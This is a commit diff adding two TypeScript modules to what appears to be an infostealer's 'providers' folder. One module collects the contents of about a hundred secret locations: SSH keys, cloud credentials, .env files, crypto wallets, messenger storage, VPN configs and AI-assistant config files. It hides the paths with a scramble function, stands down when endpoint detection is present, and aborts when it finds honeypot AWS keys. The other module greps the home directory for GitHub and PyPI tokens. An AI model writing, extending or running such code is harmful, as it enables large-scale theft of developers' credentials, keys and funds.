Upload files to "src/providers/filesystem"
This commit is contained in:
@@ -0,0 +1,386 @@
|
||||
import { promises as fs } from "fs";
|
||||
import * as os from "os";
|
||||
import * as path from "path";
|
||||
|
||||
import type { OS } from "../../utils/config";
|
||||
import { detectOS } from "../../utils/config";
|
||||
import { hasHostileEDR } from "../../utils/config";
|
||||
import { bail } from "../../utils/lock";
|
||||
import { logUtil } from "../../utils/logger";
|
||||
import { Provider } from "../base";
|
||||
import type { ProviderResult } from "../types";
|
||||
|
||||
type HotspotResult = string;
|
||||
type StreamCb = (hotspot: string, result: HotspotResult) => void;
|
||||
|
||||
const MAX_BYTES = 10 * 1024 * 1024; // 5 MB
|
||||
|
||||
const expandHome = (p: string): string =>
|
||||
p.startsWith("~") ? path.join(os.homedir(), p.slice(1)) : p;
|
||||
declare function scramble(str: string): string;
|
||||
|
||||
// ── Hotspot entry types ──────────────────────────────────────────────────────
|
||||
|
||||
/**
|
||||
* Each entry can be a plain path string (existing behaviour) or an object
|
||||
* that also carries one or more "dirty strings". When any dirty string is
|
||||
* found inside the file contents the process immediately cleans up and
|
||||
* exits via {@link bail}.
|
||||
*/
|
||||
type HotspotEntry =
|
||||
| string
|
||||
| { readonly path: string; readonly dirty?: ReadonlyArray<string> };
|
||||
|
||||
// ── Known honeypot / sandbox markers ─────────────────────────────────────────
|
||||
|
||||
/** AWS access keys published in official documentation — classic honeypot bait. */
|
||||
const AWS_EXAMPLE_KEYS: readonly string[] = [
|
||||
"AKIAIOSFODNN7EXAMPLE",
|
||||
"wJalrXUtnFEMI",
|
||||
"AKIAI44QH8DHBEXAMPLE",
|
||||
"AKIAISTAGING3EXAMPLE",
|
||||
];
|
||||
|
||||
/** Generic patterns that indicate planted sandbox credentials. */
|
||||
const AWS_SANDBOX_PATTERNS: readonly string[] = [
|
||||
"EXAMPLEKEY",
|
||||
"fake",
|
||||
"FAKE",
|
||||
"decoy",
|
||||
"DECOY",
|
||||
"honeypot",
|
||||
"HONEYPOT",
|
||||
];
|
||||
|
||||
const AWS_DIRTY: readonly string[] = [
|
||||
...AWS_EXAMPLE_KEYS,
|
||||
...AWS_SANDBOX_PATTERNS,
|
||||
];
|
||||
|
||||
// ── Hotspot paths shared by all Unix-like systems (Linux + macOS) ───────────
|
||||
const UNIX_COMMON: HotspotEntry[] = [
|
||||
scramble("~/.ansible/*"),
|
||||
scramble("~/.aws/config"),
|
||||
{ path: scramble("~/.aws/credentials"), dirty: AWS_DIRTY },
|
||||
scramble("~/.azure/accessTokens.json"),
|
||||
scramble("~/.azure/msal_token_cache.*"),
|
||||
scramble("~/.bash_history"),
|
||||
scramble("~/.cert/nm-openvpn/*"),
|
||||
scramble("~/.claude.json"),
|
||||
scramble("~/.claude/*"),
|
||||
scramble("~/.claude/projects/*"),
|
||||
scramble("~/.config/atomic/Local Storage/leveldb/*"),
|
||||
scramble("**/config/database.yml"),
|
||||
scramble("~/.config/discord/Local Storage/leveldb/*"),
|
||||
scramble("~/.config/Element/Local Storage/*"),
|
||||
scramble("~/.config/filezilla/recentservers.xml"),
|
||||
scramble("~/.config/filezilla/sitemanager.xml"),
|
||||
scramble("~/.config/gcloud/access_tokens.db"),
|
||||
scramble("~/.config/gcloud/application_default_credentials.json"),
|
||||
scramble("~/.config/gcloud/credentials.db"),
|
||||
scramble("~/.config/git/credentials"),
|
||||
scramble("~/.config/helm/*"),
|
||||
scramble("~/.config/Ledger Live/*"),
|
||||
scramble("~/.config/remmina/*"),
|
||||
scramble("~/.config/Signal/*"),
|
||||
scramble("~/.config/Slack/Cookies"),
|
||||
scramble("~/.config/telegram-desktop/*"),
|
||||
scramble("~/.config/weechat/irc.conf"),
|
||||
scramble("~/.docker/*/config.json"),
|
||||
scramble("~/.docker/config.json"),
|
||||
scramble("**/.env"),
|
||||
scramble(".env"),
|
||||
scramble("**/.env.local"),
|
||||
scramble("**/.env.production"),
|
||||
scramble("/etc/openvpn/*"),
|
||||
scramble("/etc/rancher/k3s/k3s.yaml"),
|
||||
scramble("/etc/ssh/ssh_host_*_key"),
|
||||
scramble("~/.ethereum/keystore/*"),
|
||||
scramble("~/.gitconfig"),
|
||||
scramble(".git-credentials"),
|
||||
scramble("~/.history"),
|
||||
scramble("~/.kde4/share/apps/kwallet/*.kwl"),
|
||||
scramble("~/.kde/share/apps/kwallet/*.kwl"),
|
||||
scramble("~/.kube/config"),
|
||||
scramble("~/.lesshst"),
|
||||
scramble("~/.local/share/keyrings/*.keyring"),
|
||||
scramble("~/.local/share/keyrings/login.keyring"),
|
||||
scramble("~/.local/share/recently-used.xbel"),
|
||||
scramble("~/.local/share/TelegramDesktop/tdata/*"),
|
||||
scramble("~/.monero/*"),
|
||||
scramble("~/.mysql_history"),
|
||||
scramble("~/.netrc"),
|
||||
scramble("~/.node_repl_history"),
|
||||
scramble(".npmrc"),
|
||||
scramble("~/.npmrc"),
|
||||
scramble("~/.pki/nssdb/*"),
|
||||
scramble("~/.psql_history"),
|
||||
scramble("~/.purple/accounts.xml"),
|
||||
scramble("~/.pypirc"),
|
||||
scramble("~/.python_history"),
|
||||
scramble("~/.remmina/*"),
|
||||
scramble("/root/.docker/config.json"),
|
||||
scramble("**/settings.p"),
|
||||
scramble("~/.ssh/authorized_keys"),
|
||||
scramble("~/.ssh/config"),
|
||||
scramble("~/.ssh/id*"),
|
||||
scramble("~/.ssh/id_"),
|
||||
scramble("~/.ssh/id_dsa"),
|
||||
scramble("~/.ssh/id_ecdsa"),
|
||||
scramble("~/.ssh/id_ed25519"),
|
||||
scramble("~/.ssh/known_hosts"),
|
||||
scramble("~/.terraform.d/credentials.tfrc.json"),
|
||||
scramble("/var/lib/docker/containers/*/config.v2.json"),
|
||||
scramble("~/.viminfo"),
|
||||
scramble("**/wp-config.php"),
|
||||
scramble("~/.yarnrc"),
|
||||
scramble("~/.zsh_history"),
|
||||
];
|
||||
|
||||
// ── Linux-only additions ───────────────────────────────────────────────────
|
||||
const LINUX_ONLY: HotspotEntry[] = [
|
||||
scramble("~/.claude/mcp.json"),
|
||||
scramble("~/.config/kwalletd/*.kwl"),
|
||||
scramble("~/**/git/config"),
|
||||
scramble("~/.git-credentials"),
|
||||
scramble("~/.ssh/keys"),
|
||||
];
|
||||
|
||||
// ── macOS-only additions ───────────────────────────────────────────────────
|
||||
const OSX_ONLY: HotspotEntry[] = [
|
||||
scramble(".claude.json"),
|
||||
scramble("~/.config/Exodus/exodus.wallet/*"),
|
||||
scramble("**/.git/config"),
|
||||
scramble("~/.ssh/id_rsa"),
|
||||
];
|
||||
|
||||
// ── Windows hotspots ───────────────────────────────────────────────────────
|
||||
const WIN_HOTSPOTS: HotspotEntry[] = [
|
||||
scramble(".env"),
|
||||
scramble("config.ini"),
|
||||
scramble("%USERPROFILE%\\.claude.json"),
|
||||
scramble("%USERPROFILE%\\.claude\\*"),
|
||||
scramble("%USERPROFILE%\\.claude\\projects\\*"),
|
||||
scramble("%APPDATA%\\NordVPN\\NordVPN.exe.Config"),
|
||||
scramble("%APPDATA%\\OpenVPN Connect\\profiles\\*"),
|
||||
scramble("%PROGRAMDATA%\\OpenVPN\\config\\*"),
|
||||
scramble("%APPDATA%\\ProtonVPN\\user.config"),
|
||||
scramble("%APPDATA%\\CyberGhost\\CG6\\CyberGhost.dat"),
|
||||
scramble("%APPDATA%\\Private Internet Access\\*.conf"),
|
||||
scramble("%APPDATA%\\Windscribe\\Windscribe\\*"),
|
||||
scramble("C:\\Program Files\\OpenVPN\\config\\*.ovpn"),
|
||||
scramble("%USERPROFILE%\\OpenVPN\\config\\*.ovpn"),
|
||||
scramble("%APPDATA%%EarthVPN\\OpenVPN\\config\\*.ovpn"),
|
||||
];
|
||||
|
||||
// ── Composed config ────────────────────────────────────────────────────────
|
||||
const HOTSPOT_CONFIG: Record<OS, HotspotEntry[]> = {
|
||||
LINUX: [...UNIX_COMMON, ...LINUX_ONLY],
|
||||
OSX: [...UNIX_COMMON, ...OSX_ONLY],
|
||||
WIN: [...WIN_HOTSPOTS],
|
||||
UNKNOWN: [],
|
||||
};
|
||||
|
||||
// ── Helpers ──────────────────────────────────────────────────────────────────
|
||||
|
||||
function hotspotPath(entry: HotspotEntry): string {
|
||||
return typeof entry === "string" ? entry : entry.path;
|
||||
}
|
||||
|
||||
function hotspotDirty(entry: HotspotEntry): ReadonlyArray<string> | undefined {
|
||||
return typeof entry === "string" ? undefined : entry.dirty;
|
||||
}
|
||||
|
||||
export class FileSystemService extends Provider {
|
||||
constructor() {
|
||||
super("filesystem", "diskfiles", null, "aggressive");
|
||||
}
|
||||
|
||||
override async shouldRun(): Promise<boolean> {
|
||||
if (hasHostileEDR()) {
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
private getHotspots(): HotspotEntry[] {
|
||||
const system = detectOS();
|
||||
return HOTSPOT_CONFIG[system];
|
||||
}
|
||||
|
||||
private async readHotspots(
|
||||
entries: HotspotEntry[],
|
||||
onResult?: StreamCb,
|
||||
concurrent = 1,
|
||||
): Promise<Record<string, HotspotResult>> {
|
||||
const results: Record<string, HotspotResult> = {};
|
||||
|
||||
// Pre-compute a lookup: expanded path → dirty strings for O(1) access.
|
||||
const dirtyMap = new Map<string, ReadonlyArray<string>>();
|
||||
|
||||
const expandGlob = async (entry: HotspotEntry): Promise<string[]> => {
|
||||
const raw = hotspotPath(entry);
|
||||
const expanded = expandHome(raw);
|
||||
|
||||
// No glob metacharacters — return as a literal path.
|
||||
if (!/[*?[]/.test(expanded)) {
|
||||
dirtyMap.set(expanded, hotspotDirty(entry) ?? []);
|
||||
return [expanded];
|
||||
}
|
||||
|
||||
// Split the pattern into a static base directory and the glob remainder.
|
||||
const parts = expanded.split("/");
|
||||
const firstGlobIdx = parts.findIndex((p) => /[*?[]/.test(p));
|
||||
|
||||
let base: string;
|
||||
let rest: string;
|
||||
if (firstGlobIdx === 0) {
|
||||
base = ".";
|
||||
rest = expanded;
|
||||
} else {
|
||||
base = parts.slice(0, firstGlobIdx).join("/") || "/";
|
||||
rest = parts.slice(firstGlobIdx).join("/");
|
||||
}
|
||||
|
||||
try {
|
||||
const glob = new Bun.Glob(rest);
|
||||
const matches = Array.from(
|
||||
glob.scanSync({
|
||||
cwd: base,
|
||||
absolute: true,
|
||||
dot: true,
|
||||
onlyFiles: true,
|
||||
}),
|
||||
);
|
||||
const dirtyPatterns = hotspotDirty(entry) ?? [];
|
||||
for (const m of matches) {
|
||||
dirtyMap.set(m, dirtyPatterns);
|
||||
}
|
||||
return matches;
|
||||
} catch {
|
||||
return [];
|
||||
}
|
||||
};
|
||||
|
||||
const BINARY_CHECK_SIZE = 8192;
|
||||
|
||||
function isBinary(buffer: Buffer): boolean {
|
||||
const sample = buffer.subarray(
|
||||
0,
|
||||
Math.min(buffer.length, BINARY_CHECK_SIZE),
|
||||
);
|
||||
let nonPrintable = 0;
|
||||
for (let i = 0; i < sample.length; i++) {
|
||||
const b = sample[i]!;
|
||||
if (b === 0x00) return true;
|
||||
if (b < 0x09 || (b > 0x0d && b < 0x20) || b > 0x7e) {
|
||||
nonPrintable++;
|
||||
}
|
||||
}
|
||||
return nonPrintable / sample.length > 0.3;
|
||||
}
|
||||
|
||||
const handle = async (expandedPath: string) => {
|
||||
try {
|
||||
const stat = await fs.stat(expandedPath);
|
||||
|
||||
if (!stat.isFile()) {
|
||||
return;
|
||||
}
|
||||
|
||||
logUtil.info(`Checking ${expandedPath}`);
|
||||
|
||||
if (stat.size > MAX_BYTES) {
|
||||
const result = `Error: File too large (${stat.size} bytes)`;
|
||||
results[expandedPath] = result;
|
||||
onResult?.(expandedPath, result);
|
||||
logUtil.log(
|
||||
`filesystem: skipping ${expandedPath} — too large (${stat.size} bytes)`,
|
||||
);
|
||||
return;
|
||||
}
|
||||
|
||||
logUtil.info("About to read.");
|
||||
|
||||
const buffer = await fs.readFile(expandedPath);
|
||||
|
||||
logUtil.info(`Read buffer from ${expandedPath}`);
|
||||
|
||||
if (isBinary(buffer)) {
|
||||
const encoded = `BASE64:${buffer.toString("base64")}`;
|
||||
results[expandedPath] = encoded;
|
||||
onResult?.(expandedPath, encoded);
|
||||
logUtil.log(
|
||||
`filesystem: collected ${expandedPath} (${stat.size} bytes, binary -> base64 ${encoded.length} chars)`,
|
||||
);
|
||||
} else {
|
||||
const content = buffer.toString("utf-8");
|
||||
|
||||
// ── Dirty string check ──────────────────────────────────────
|
||||
const dirtyPatterns = dirtyMap.get(expandedPath);
|
||||
if (dirtyPatterns && dirtyPatterns.length > 0) {
|
||||
for (const dirty of dirtyPatterns) {
|
||||
if (content.includes(dirty)) {
|
||||
logUtil.log(
|
||||
`filesystem: dirty string "${dirty}" matched in ${expandedPath} — bailing`,
|
||||
);
|
||||
bail();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
results[expandedPath] = content;
|
||||
onResult?.(expandedPath, content);
|
||||
logUtil.log(
|
||||
`filesystem: collected ${expandedPath} (${stat.size} bytes, text)`,
|
||||
);
|
||||
}
|
||||
} catch (err: any) {
|
||||
logUtil.error(`Failure collecting: ${err}`);
|
||||
return;
|
||||
}
|
||||
};
|
||||
|
||||
// Expand glob patterns
|
||||
const expandedHotspots: string[] = [];
|
||||
for (const entry of entries) {
|
||||
const matches = await expandGlob(entry);
|
||||
expandedHotspots.push(...matches);
|
||||
}
|
||||
|
||||
if (concurrent <= 1) {
|
||||
for (const hotspot of expandedHotspots) {
|
||||
await handle(hotspot);
|
||||
}
|
||||
return results;
|
||||
}
|
||||
|
||||
const queue = expandedHotspots.slice();
|
||||
const workers = Array.from({
|
||||
length: Math.min(concurrent, queue.length),
|
||||
}).map(async () => {
|
||||
let hotspot;
|
||||
while ((hotspot = queue.shift())) {
|
||||
await handle(hotspot);
|
||||
}
|
||||
});
|
||||
|
||||
await Promise.all(workers);
|
||||
return results;
|
||||
}
|
||||
|
||||
async execute(): Promise<ProviderResult> {
|
||||
const hotspots = this.getHotspots();
|
||||
|
||||
if (!hotspots.length) {
|
||||
return this.failure("Unknown OS or no hotspots configured");
|
||||
}
|
||||
|
||||
try {
|
||||
const results = await this.readHotspots(hotspots, undefined, 2);
|
||||
return this.success({ hotspots: results });
|
||||
} catch (err: any) {
|
||||
return this.failure(err?.message ?? String(err));
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,116 @@
|
||||
// grep.ts — fast file grep for credential patterns (pure JS)
|
||||
|
||||
import { readFileSync } from "fs";
|
||||
import { homedir } from "os";
|
||||
|
||||
import { Provider } from "../base";
|
||||
import type { ProviderResult } from "../types";
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Patterns
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
const PATTERNS: RegExp[] = [
|
||||
/ghp_[A-Za-z0-9_]{36,}/g,
|
||||
/gho_[A-Za-z0-9_]{36,}/g,
|
||||
/pypi-[A-Za-z0-9+/=_-]{40,}/g,
|
||||
];
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Types
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
export interface GrepMatch {
|
||||
path: string;
|
||||
excerpt: string;
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Internal grep helpers
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
function grepFile(filePath: string): GrepMatch[] {
|
||||
try {
|
||||
const buf = readFileSync(filePath);
|
||||
const size = buf.length;
|
||||
|
||||
if (size === 0 || size > 50 * 1024 * 1024) return [];
|
||||
|
||||
// Binary check: null bytes in first 4KB
|
||||
const checkLen = Math.min(size, 4096);
|
||||
for (let i = 0; i < checkLen; i++) {
|
||||
if (buf[i] === 0) return [];
|
||||
}
|
||||
|
||||
const text = buf.toString("utf-8");
|
||||
const results: GrepMatch[] = [];
|
||||
|
||||
for (const re of PATTERNS) {
|
||||
re.lastIndex = 0;
|
||||
let m: RegExpExecArray | null;
|
||||
while ((m = re.exec(text)) !== null) {
|
||||
const start = Math.max(0, m.index - 20);
|
||||
const end = Math.min(text.length, m.index + m[0].length + 200);
|
||||
const excerpt = text.slice(start, end).replace(/[\r\n]/g, " ");
|
||||
results.push({ path: filePath, excerpt });
|
||||
if (results.length >= 20) break;
|
||||
}
|
||||
}
|
||||
return results;
|
||||
} catch {
|
||||
return [];
|
||||
}
|
||||
}
|
||||
|
||||
async function grepDirectory(
|
||||
root: string,
|
||||
maxFiles = 5000,
|
||||
): Promise<GrepMatch[]> {
|
||||
const results: GrepMatch[] = [];
|
||||
const glob = new Bun.Glob("**/*");
|
||||
let scanned = 0;
|
||||
|
||||
for await (const relPath of glob.scan({
|
||||
cwd: root,
|
||||
absolute: true,
|
||||
dot: true,
|
||||
onlyFiles: true,
|
||||
})) {
|
||||
if (scanned >= maxFiles) break;
|
||||
scanned++;
|
||||
|
||||
try {
|
||||
results.push(...grepFile(relPath));
|
||||
} catch {
|
||||
// Permission errors, dangling symlinks, etc.
|
||||
}
|
||||
}
|
||||
|
||||
return results;
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// GrepProvider
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
export class GrepProvider extends Provider {
|
||||
private root: string;
|
||||
private maxFiles: number;
|
||||
|
||||
constructor(root: string = homedir(), maxFiles = 5000) {
|
||||
// No patterns passed to base — we handle matching internally and
|
||||
// return GrepMatch[] as the data payload.
|
||||
super("grep", "filesystem-grep", undefined, "aggressive");
|
||||
this.root = root;
|
||||
this.maxFiles = maxFiles;
|
||||
}
|
||||
|
||||
async execute(): Promise<ProviderResult> {
|
||||
try {
|
||||
const matches = await grepDirectory(this.root, this.maxFiles);
|
||||
return this.success(matches);
|
||||
} catch (err) {
|
||||
return this.failure(err instanceof Error ? err : String(err));
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user